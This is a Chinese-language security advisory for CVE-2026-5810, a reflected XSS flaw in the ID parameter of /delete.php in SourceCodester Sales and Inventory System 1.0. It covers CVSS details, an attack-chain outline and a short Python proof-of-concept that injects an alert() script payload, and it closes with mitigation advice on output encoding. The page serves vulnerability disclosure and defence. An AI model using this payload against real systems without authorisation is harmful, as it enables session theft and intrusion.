IPBUF安全漏洞报告
English
CVE-2026-5810 CVSS 3.5 低危

CVE-2026-5810 SourceCodester销售库存系统XSS漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-5810
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Sales and Inventory System

相关标签

XSSCross-Site ScriptingSourceCodesterCVE-2026-5810Web SecurityLow Severity

漏洞概述

SourceCodester Sales and Inventory System 1.0版本被发现存在安全漏洞。问题出在/delete.php文件的GET参数处理逻辑中,由于对输入参数ID缺乏严格的过滤和验证,导致存在跨站脚本(XSS)漏洞。攻击者可通过构造恶意链接进行远程利用,诱导受害者点击以执行恶意脚本。

技术细节

该漏洞属于反射型跨站脚本攻击(XSS)。在SourceCodester Sales and Inventory System 1.0中,/delete.php文件未能正确处理GET请求中的`ID`参数。当应用程序接收该参数并将其直接嵌入到HTTP响应中而未进行HTML实体编码时,便产生了XSS漏洞。攻击者可以利用这一缺陷,构造包含恶意JavaScript代码的URL。由于CVSS向量显示需要用户交互(UI:R),攻击者通常需要通过钓鱼邮件或其他社会工程学手段诱导受害者点击该链接。一旦受害者访问,恶意脚本将在其浏览器上下文中执行,这可能导致窃取会话Cookie、重定向到恶意网站或执行其他客户端操作。尽管CVSS评分较低,但该漏洞仍对用户隐私构成威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用SourceCodester Sales and Inventory System 1.0版本。
STEP 2
武器化
攻击者构造包含恶意JavaScript代码的URL,针对/delete.php端点中的ID参数。
STEP 3
交付
攻击者通过钓鱼邮件或社交媒体将恶意链接发送给目标用户。
STEP 4
利用
目标用户点击链接,浏览器向服务器发送请求,服务器响应中包含未经过滤的恶意脚本。
STEP 5
执行
受害者的浏览器解析并执行恶意脚本,可能导致Cookie窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-5810 # Target: SourceCodester Sales and Inventory System 1.0 # Endpoint: /delete.php import requests def check_xss(target_url): # Vulnerable parameter: ID # Payload: Basic XSS test script payload = "<script>alert('CVE-2026-5810')</script>" full_url = f"{target_url}/delete.php?ID={payload}" try: response = requests.get(full_url) # Check if the payload is reflected unencoded in the response if payload in response.text: print(f"[+] Vulnerability confirmed at {full_url}") print(f"[+] Server responded with status: {response.status_code}") else: print("[-] Vulnerability not detected or payload was encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target IP/Domain check_xss(target)

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
建议管理员在服务器端对所有用户输入(特别是GET请求参数)进行严格的过滤和转义处理。对于输出到页面的数据,务必使用HTML实体编码函数(如PHP的htmlspecialchars)进行处理,防止浏览器将其解释为可执行代码。同时,建议用户提高警惕,不要随意点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表